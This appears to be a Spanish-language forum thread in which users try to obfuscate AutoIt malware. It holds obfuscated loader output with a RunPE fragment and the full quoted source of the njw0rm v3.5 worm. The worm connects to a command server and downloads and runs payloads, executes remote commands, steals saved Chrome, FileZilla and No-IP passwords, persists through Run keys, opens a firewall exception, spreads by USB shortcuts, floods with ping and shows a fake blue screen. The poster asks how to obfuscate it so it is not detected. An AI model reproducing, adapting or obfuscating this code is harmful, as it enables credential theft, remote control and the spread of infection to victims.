LOcAL $wjwNxbqdkfSbSKjVCJFUDmOdegihlboTfwTjXz = 0
ASSIGN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" &  _ 
"462" &  _ 
"6F6" &  _ 
"86C" &  _ 
"676" &  _ 
"964" &  _ 
"656" &  _ 
"D4F" &  _ 
"554" &  _ 
"44A" &  _ 
"465" &  _ 
"643" &  _ 
"4B6" &  _ 
"A62" &  _ 
"536" &  _ 
"653" &  _ 
"646" &  _ 
"B62" &  _ 
"714" &  _ 
"E78" &  _ 
"6A7" &  _ 
"724" &  _ 
"775" &  _ 
"87A" &  _ 
"546" &  _ 
"A66" &  _ 
"77") ) ) ,33) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "04D" & "4F4" & "E") ) ) ,2) )

GlOBAl $ZKwTUhiKKGboHsTEjNTNWuFccSPlGZLJrurEDTekchJabvJeT = 0
AsSIGn(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "568" & "775" & "45A" &  _ 
"4B5" & "424" & "4A6" & "562" &  _ 
"764" & "A61" & "636" & "865" &  _ 
"6B4" & "454" & "724" & "572" &  _ 
"754" & "C4A" & "475" & "A50" &  _ 
"6C6" & "353" & "466" & "357" &  _ 
"755" & "44E" & "6A4" & "E54" &  _ 
"454" & "873" & "626" & "F4B" &  _ 
"476" & "94B") ) ) ,7) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "46C" & "287" & "661" & "294" & "539" & "37") ) ) ,6) )

$wjwNxbqdkfSbSKjVCJFUDmOdegihlboTfwTjXz /= IsDeClAred($wjwNxbqdkfSbSKjVCJFUDmOdegihlboTfwTjXz)



Wend

EndFunc   ;==>_RunPE
fUnC KtcErPxg($YWGJWQOlKYwpzUOVCcwZcjyJAxhIyStqMCXhiRJGyWHsSdlHve,$RNNZfGWudgVfmkRIOEWLBMrVYVakmohnI)


Global $aiPEzIQTzrAKiUDpiMOVZvYJAhEtTCWN = ObjCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "16C" & "2E6" & "56C" &  _ 
"736" & "86F" & "6E7" & "469" &  _ 
"636" & "16C" & "697" & "070") ) ) ,7) ) 
 wITH $aiPEzIQTzrAKiUDpiMOVZvYJAhEtTCWN
DiM $PetrFXTKtYLNYTFgNExujeJTwUMXsJBSlceyfzbnIaQnPNaB = Eval(BinaryToString("0x6" & "9") )

Dim $OZxlVIfunaLOwjAMZoWUJTCrXItkSPPLDkWh = 77.1583909612

$OZxlVIfunaLOwjAMZoWUJTCrXItkSPPLDkWh += $OZxlVIfunaLOwjAMZoWUJTCrXItkSPPLDkWh


 enDwITH

 eNdFunc

SadFud escribió:Ese error deberia irse volviendo a ofuscar, no hace falta cambiar parametros

PD: cuando copies codigo largo, metelo dentro de un spoiler

Mostrar/Ocultar

asi

./TestScripts/GenScorMod.au3

davinciomar escribió:Estoy intentando con el nj worm el script es el siguiente:

Mostrar/Ocultar

#comments-start
njw0rm : v3.5
Write By: njq8 + Mr.Mobark
T = @njq8 + F = HK Dark
Last Update: 2013/7/10
#comments-end

#NoTrayIcon
#INCLUDE <WINAPI.AU3>
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
#include <Misc.au3>
#include <string.au3>
#Include <File.au3>
#Include <Array.au3>
#include <SQLite.au3>
#include <SQLite.dll.au3>
#include <Process.au3>
Opt("RunErrorsFatal", 0)
Local $Host = "<host>"
Local $PORT = <port>
Local $EXE = "<exe>"
Local $DIR = EnvGet("<dir>") & "\"
Local $VR = "3.5"
Local $name = "<name>"
$name &= "_" & Hex( driveGetSerial( @HomeDrive))
$OS= @OSVersion & " "& @OSArch & " " & StringReplace( @OSServicePack,"Service Pack ","SP")
if StringInStr( $OS,"SP")<1 then $OS &="SP0"
Local $USB = "!"
cusb()
$melt="<melt>"
$Y="0njxq80"
$MTX ="<mtx>"
$TIMER=0
$fh=-1
if $cmdline[0]=2 Then ; check cmdline for melt
Select
case $cmdline[1]= "del"
if $melt=-1 Then
FileDelete($cmdline[2])
endif
EndSelect
endif
Sleep( @AutoItPID /10)
If _Singleton($MTX , 1) = 0 Then
Exit
EndIf
if @AutoItExe <> $dir & $exe Then ; check if i need to copy
FileCopy( @AutoItExe ,$dir & $exe,1 )
ShellExecute( $dir & $exe ,"""del"" " & @AutoItExe)
Exit
EndIf
$mem=""
$sock =-1
bk()
xins()
ins()
usbx()
$TIME=0
$AC=""
$EA=""
While 1
$TIME +=1
if $TIME=5 Then
$TIME=0
ins()
usb()
EndIf
if @error Then
EndIf
$PK =RC()
if @error Then
EndIf

Select
case $pk=-1
Sleep(2000)
cn() ; if not connected then connect,, Call CN FUNC
sd("lv" & $Y & $name & $Y & K() & $Y & $os & $Y & $VR & $Y & $USB & $Y & WinGetTitle(""))
Case $pk="" ; if nothing recived..

$timer +=1

if $timer=8 Then
$timer=0
$EA=WinGetTitle("")
if $EA<>$AC Then
sd("ac" & $Y & $EA)
EndIf
$AC = $EA
$EA=""
endif
case $pk<>"" ; if there is packet process it..
$A= StringSplit($PK,"0njxq80",1)
if $A[0]>0 Then
Select
case $A[1]="DL"

InetGet($A[2], @TempDir & "\" & $A[3] ,1)
if FileExists( @TempDir & "\" & $A[3]) Then
ShellExecute("cmd.exe", "/c start %temp%\" & $A[3],"" ,"" ,@SW_HIDE)
sd("MSG" & $Y & "Executed As " & $A[3])
Else
sd("MSG" & $Y & "Download ERR")
EndIf
case $A[1]="up"; update
InetGet($A[2], @TempDir & "\" & $A[3] ,1)
if FileExists( @TempDir & "\" & $A[3]) Then
ShellExecute("cmd.exe", "/c start %temp%\" & $A[3],"" ,"" ,@SW_HIDE)
uns()
EndIf
sd("MSG" & $Y & "Update ERR")
case $A[1]="un" ; uninstall!
uns()
case $A[1]="ex" ; execute autoit script
Execute( $A[2])
case $A[1]="cmd"; execute cmd.exe
ShellExecute("cmd.exe", $A[2],"","",@SW_HIDE)
case $A[1]="pwd" ; get passwords
sd("pas" & $Y & noip() & chrome() & FileZilla())
case $A[1]="url"
ShellExecute($A[2])
case $A[1]="att"
RunWait( @comspec & " /c ping "&$A[2]&" -l "&$A[2]&" -t","",@SW_HIDE)
Case $A[1]="msg"
MsgBox(0,$A[2],$A[3])
Case $A[1]="scb"

_WinAPI_ShowCursor(False)

HotKeySet("{F8}", "ExitBlueScr")

Global $DesktopWidth = @DesktopWidth, $DesktopHeight = @DesktopHeight
Global $DesktopDepth = @DesktopDepth, $DesktopRefresh = @DesktopRefresh
GUICreate("Bluescr", @DesktopWidth + 4, @DesktopHeight + 4)
GUISetBkColor(0x0000A0)
$Label = GUICtrlCreateLabel("A problem has been detected and Windows has been shut down to prevent damage" & @CRLF & _
"to your computer." & @CRLF & _
@CRLF & _
"The problem seems to be caused by the following file: SPCMDCON.SYS" & @CRLF & _
@CRLF & _
"PAGE_FAULT_IN_NONPAGED_AREA" & @CRLF & _
@CRLF & _
"If this is the first time you've seen this stop error screen," & @CRLF & _
"restart your computer. If this screen appears again, follow" & @CRLF & _
"these steps:" & @CRLF & _
@CRLF & _
"Check to make sure any new hardware or software is properly installed." & @CRLF & _
"If this is a new installation, ask your hardware or software manufacturer" & @CRLF & _
"for any Windows updates you might need." & @CRLF & _
@CRLF & _
"If problems continue, disable or remove any newly installed hardware" & @CRLF & _
"or software. Disable BIOS memory options such as caching or shadowing." & @CRLF & _
"If you need to use Safe Mode to remove or disable components, restart" & @CRLF & _
"your computer, press F8 to select Advanced Startup Options, and then" & @CRLF & _
"select Safe Mode." & @CRLF & _
@CRLF & _
"Technical information:" & @CRLF & _
@CRLF & _
"*** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)" & @CRLF & _
@CRLF & _
@CRLF & _
"*** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c", 10, 10, @DesktopWidth - 10, @DesktopHeight - 10)
GUICtrlSetFont(-1, 17, 100, -1, "Lucida Console")
GUICtrlSetColor(-1, 0xD8D8D8)
GUICtrlSetOnEvent(-1, "None")
GUISetState()
$iWidth = 1024
$iHeight = 768
$iBitsPP = 32
$iRefreshRate = 60
BlockInput(1)
If $iWidth = @DesktopWidth And $iHeight = @DesktopHeight And $iBitsPP = @DesktopDepth And $iRefreshRate = @DesktopRefresh Then
GUISetBkColor(0x000000)
GUICtrlSetState($Label, $GUI_HIDE)
_ChangeScreenRes(800, 600, $iBitsPP, $iRefreshRate)
Sleep(1000)
GUICtrlSetState($Label, $GUI_SHOW)
GUISetBkColor(0x0000A0)
_ChangeScreenRes($iWidth, $iHeight, $iBitsPP, $iRefreshRate)
Else
_ChangeScreenRes($iWidth, $iHeight, $iBitsPP, $iRefreshRate)
EndIf
While 1

WEnd

Func _ChangeScreenRes($i_Width = @DesktopWidth, $i_Height = @DesktopHeight, $i_BitsPP = @DesktopDepth, $i_RefreshRate = @DesktopRefresh) ;from ChangeResolution.au3
Local Const $DM_PELSWIDTH = 0x00080000
Local Const $DM_PELSHEIGHT = 0x00100000
Local Const $DM_BITSPERPEL = 0x00040000
Local Const $DM_DISPLAYFREQUENCY = 0x00400000
Local Const $CDS_TEST = 0x00000002
Local Const $CDS_UPDATEREGISTRY = 0x00000001
Local Const $DISP_CHANGE_RESTART = 1
Local Const $DISP_CHANGE_SUCCESSFUL = 0
Local Const $HWND_BROADCAST = 0xffff
Local Const $WM_DISPLAYCHANGE = 0x007E
If $i_Width = "" Or $i_Width = -1 Then $i_Width = @DesktopWidth
If $i_Height = "" Or $i_Height = -1 Then $i_Height = @DesktopHeight
If $i_BitsPP = "" Or $i_BitsPP = -1 Then $i_BitsPP = @DesktopDepth
If $i_RefreshRate = "" Or $i_RefreshRate = -1 Then $i_RefreshRate = @DesktopRefresh
Local $DEVMODE = DllStructCreate("byte[32];int[10];byte[32];int[6]")
Local $B = DllCall("user32.dll", "int", "EnumDisplaySettings", "ptr", 0, "long", 0, "ptr", DllStructGetPtr($DEVMODE))
If @error Then
$B = 0
SetError(1)
Return $B
Else
$B = $B[0]
EndIf
If $B <> 0 Then
DllStructSetData($DEVMODE, 2, BitOR($DM_PELSWIDTH, $DM_PELSHEIGHT, $DM_BITSPERPEL, $DM_DISPLAYFREQUENCY), 5)
DllStructSetData($DEVMODE, 4, $i_Width, 2)
DllStructSetData($DEVMODE, 4, $i_Height, 3)
DllStructSetData($DEVMODE, 4, $i_BitsPP, 1)
DllStructSetData($DEVMODE, 4, $i_RefreshRate, 5)
$B = DllCall("user32.dll", "int", "ChangeDisplaySettings", "ptr", DllStructGetPtr($DEVMODE), "int", $CDS_TEST)
If @error Then
$B = -1
Else
$B = $B[0]
EndIf
Select
Case $B = $DISP_CHANGE_RESTART
$DEVMODE = ""
Return 2
Case $B = $DISP_CHANGE_SUCCESSFUL
DllCall("user32.dll", "int", "ChangeDisplaySettings", "ptr", DllStructGetPtr($DEVMODE), "int", $CDS_UPDATEREGISTRY)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND_BROADCAST, "int", $WM_DISPLAYCHANGE, _
"int", $i_BitsPP, "int", $i_Height * 2 ^ 16 + $i_Width)
$DEVMODE = ""
Return 1
Case Else
$DEVMODE = ""
SetError(1)
Return $B
EndSelect
EndIf
EndFunc

Func None()

EndFunc

Func ExitBlueScr()
_WinAPI_ShowCursor(True)
_ChangeScreenRes($DesktopWidth, $DesktopHeight, $DesktopDepth, $DesktopRefresh)
Exit
EndFunc
;;;;;;;;;;;;;;;;;;;;;;;;;;;


EndSelect

endif

EndSelect
Sleep(1000)

WEnd
Func uns()
RegDelete ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$EXE)
RegDelete ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",$EXE)
FileDelete(@startupdir &"\" & $EXE)
ShellExecute("netsh","firewall delete allowedprogram " & ChrW(34) & @AutoItExe & ChrW(34), "", "",@SW_HIDE)
usbx()
ShellExecute(@ComSpec,"/k ping 0 & del " & ChrW(34) & @AutoItExe & ChrW(34) & " & exit","" ,"" ,@SW_HIDE)
Exit
EndFunc
Func ins()
if RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$EXE)<>chrw(34) & @AutoItExe & chrw(34) Then
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$EXE ,"REG_SZ", chrw(34) & @AutoItExe & chrw(34))
endif
if RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",$EXE)<>chrw(34) & @AutoItExe & chrw(34) Then
RegWrite ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",$EXE ,"REG_SZ", chrw(34) & @AutoItExe & chrw(34))
endif
if FileExists(@startupdir &"\" & $EXE)=False Then
FileCopy(@AutoItExe,@startupdir &"\" & $EXE,1)
endif
if @error Then
EndIf
EndFunc
Func xins()
EnvSet("SEE_MASK_NOZONECHECKS","1")
ShellExecute("netsh","firewall add allowedprogram " & ChrW(34) & @AutoItExe & ChrW(34) & " " & ChrW(34) & $EXE & ChrW(34) & " ENABLE", "", "",@SW_HIDE)
if @error Then
EndIf
FileCopy(@AutoItExe,@startupdir &"\" & $EXE,1)
if @error Then
EndIf
EndFunc
Func usb()
$D=DriveGetDrive("REMOVABLE")

for $DD=1 to UBound($D)-1
if DriveStatus($D[$DD])="READY" Then
if DriveSpaceFree($D[$DD])>1024 Then
if FileExists($D[$DD] & "\My Pictures")=false then DirCreate($D[$DD] & "\My Pictures")

$F=_FileListToArray($D[$DD],"*.*",2 )

if FileExists($D[$DD] &"\"& $EXE) Then
Else
FileCopy(@AutoItExe,$D[$DD] &"\"& $EXE)
FileSetAttrib($D[$DD] &"\"& $EXE,"+H")
$YES=0
For $U= 1 to UBound($F)-1
$yes=$yes +1
if $yes=10 Then
$yes=0
ExitLoop
EndIf
FileSetAttrib($D[$DD] &"\"& $F[$U],"+H")
FileCreateShortcut( "cmd.exe",$D[$DD] &"\"& $F[$U],"","/c start " & StringReplace($EXE," ",chrw(34) & " " & chrw(34)) & "&explorer /root,""%CD%" & StringReplace($F[$U]," ", chrw(34) & " " & chrw(34)) &""" & exit" ,"","%windir%\system32\SHELL32.dll","",3,@SW_SHOWMINNOACTIVE)
Next
endif
_ArrayDelete($F, 0)
endif

EndIf
Next
EndFunc
Func usbx()
$D=DriveGetDrive("REMOVABLE")

for $DD=1 to UBound($D)-1
if DriveStatus($D[$DD])="READY" Then
if DriveSpaceFree($D[$DD])>1024 Then
$F=_FileListToArray($D[$DD],"*.*",2)
if FileExists($D[$DD] &"\"& $EXE) Then
FileSetAttrib($D[$DD] &"\"& $EXE,"-H+N")
FileDelete($D[$DD] &"\"& $EXE)
endif
For $U= 1 to UBound($F)-1
FileSetAttrib($D[$DD] &"\"& $F[$U],"-H")
FileSetAttrib($D[$DD] &"\"& $F[$U],"+N")
FileDelete( $D[$DD] &"\"& $F[$U] &".lnk")
Next
_ArrayDelete($F, 0)
endif

EndIf
Next
EndFunc

Func RC()
if @error Then
Return -1
EndIf

if $sock < 1 Then
Return -1
EndIf

$data = TCPRecv($sock,1024,0)

if @error Then
Return -1
EndIf
$mem &= $data
if StringInStr($mem, @CRLF ) Then
$DA =stringsplit($mem, @crlf)
$data=$da[1]
$IDX =stringinstr($mem,@crlf)
$IDX += StringLen(String(@crlf))
$LN = StringLen($mem)
$mem= StringMid($mem,$IDX , $ln - $IDX)
Return $data
EndIf

Return ""
EndFunc

Func SD($da)
if @error Then
EndIf
TCPSend($sock,$da & @CRLF)
if @error then
Return 0
Else
return 1
endif
EndFunc
Func CN()
TCPCloseSocket($sock)
if @error Then
EndIf
TCPShutdown()
if @error Then
EndIf
TCPStartup()
if @error Then
EndIf
$sock=-1

$sock= TCPConnect(TCPNameToIP($HOST),$port)
if @error Then

EndIf
EndFunc


;API
Func K()
$b = DllStructCreate("char[3]")
DllCall("kernel32.dll", "long", "GetLocaleInfo", "long", 1024, "long", 7, "ptr", DllStructGetPtr($b), "long", 3)
Return DllStructGetData($b, 1)
EndFunc

Func bk()
; this method called before installing njw0rm .. so you can add botkiller or anyother codes here .. i add clearing usb from shortcuts+vbs files

$ST= StringSplit( "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")
for $H =1 to $ST[0]
if DriveStatus($ST[$H] & ":\") ="READY" then
FileSetAttrib($ST[$H] & ":\*.*","-H")
FileDelete($ST[$H] & ":\*.vbs")
FileDelete($ST[$H] & ":\*.scr")
FileDelete($ST[$H] & ":\*.lnk")
EndIf
Next
EndFunc
Func CUSB()
$USB= IniRead($DIR & $EXE & ".ini","","usb","!")
if $USB="!" Then
$SP= StringSplit(@AutoItExe,"\")

if $SP[0]=2 and StringLen( $SP[1])=2 and StringLower($SP[2])= StringLower($EXE) Then
IniWrite($DIR & $EXE & ".ini","","usb","Y")
Else

IniWrite($DIR & $EXE & ".ini","","usb","N")
EndIf

EndIf
$USB= IniRead($DIR & $EXE & ".ini","","usb","!")
EndFunc

Func NOIP()
$pUSR=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC","Username")
if $pUSR="" then return ""
$pPWD=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC","Password")
Return "URL: [Enlace externo eliminado para invitados]" & $Y & "USR: " & $pusr & $Y & "PWD: /base64" & $ppwd & $Y
EndFunc

Func FileZilla()
Local $pwds="",$h,$pFN=EnvGet("appdata") &"\FileZilla\recentservers.xml"
if FileExists($pfn)=false then return ""
$h= Fileopen($pfn,0)
if $h=-1 then return ""
$phost=""
$pport=21
$pusr=""
$ppass=""
While True
$line= FileReadLine($h)
If @error = -1 Then ExitLoop
if StringInStr($line,"<Host>") Then
$pusr=""
$ppass=""
$pport=21
$phost= StringMid($line,1,StringInStr($line,"</")-1)
$phost= StringMid($phost,StringInStr($phost,">")+1)
EndIf
if StringInStr($line,"<Port>") Then
$pport= StringMid($line,1,StringInStr($line,"</")-1)
$pport= StringMid($pport,StringInStr($pport,">")+1)
EndIf
if StringInStr($line,"<User>") Then
$pusr= StringMid($line,1,StringInStr($line,"</")-1)
$pusr= StringMid($pusr,StringInStr($pusr,">")+1)
EndIf
if StringInStr($line,"<Pass>") Then
$ppass= StringMid($line,1,StringInStr($line,"</")-1)
$ppass= StringMid($ppass,StringInStr($ppass,">")+1)
EndIf
if StringInStr($line,"</Server>") Then
$pwds = $pwds & "URL: ftp://" & $phost &":" & $pport & $Y & "USR: " & $pusr & $Y & "PWD: " & $ppass & $Y
EndIf
WEnd
Return $pwds
EndFunc
Func Chrome()
Local $Q, $R, $PWDS="",$pfn= RegRead('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 'Local AppData') & "\Google\Chrome\User Data\Default\Login Data"
if FileExists($pfn)=False then return ""
_SQLite_Startup()
_SQLite_Open($pfn)
_SQLite_Query(-1, "SELECT * FROM logins;", $Q)
While _SQLite_FetchData($Q, $r) = 0
$pwds = $pwds & "URL: "& $r[0] & $Y &"USR: "& $r[3] & $Y &"PWD: "& UncryptRDPPassword( $r[5]) & $Y
WEnd
_SQLite_Close()
_SQLite_Shutdown()
Return $pwds
EndFunc

Func UncryptRDPPassword($bin)
;This Func From >> [Enlace externo eliminado para invitados]
Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
Local Const $DATA_BLOB = "int;ptr"

Local $passStr = DllStructCreate("byte[1024]")
Local $DataIn = DllStructCreate($DATA_BLOB)
Local $DataOut = DllStructCreate($DATA_BLOB)
$pwDescription = 'psw'
$PwdHash = ""

DllStructSetData($DataOut, 1, 0)
DllStructSetData($DataOut, 2, 0)

DllStructSetData($passStr, 1, $bin)
DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
DllStructSetData($DataIn, 1, BinaryLen($bin))

$return = DllCall("crypt32.dll","int", "CryptUnprotectData", _
"ptr", DllStructGetPtr($DataIn), _
"ptr", 0, _
"ptr", 0, _
"ptr", 0, _
"ptr", 0, _
"dword", $CRYPTPROTECT_UI_FORBIDDEN, _
"ptr", DllStructGetPtr($DataOut))
If @error Then Return ""

$len = DllStructGetData($DataOut, 1)
$PwdHash = Ptr(DllStructGetData($DataOut, 2))
$PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
EndFunc

Lo que no entiendo es esta ruta a que se refiere si yo no veo ninguna carpeta con ese nombre:

./TestScripts/GenScorMod.au3

Yo no veo ninguna carpeta testcripts como tendría que poner mi script para poder usar el obfuscador correctamente¿? disculpar las molestias!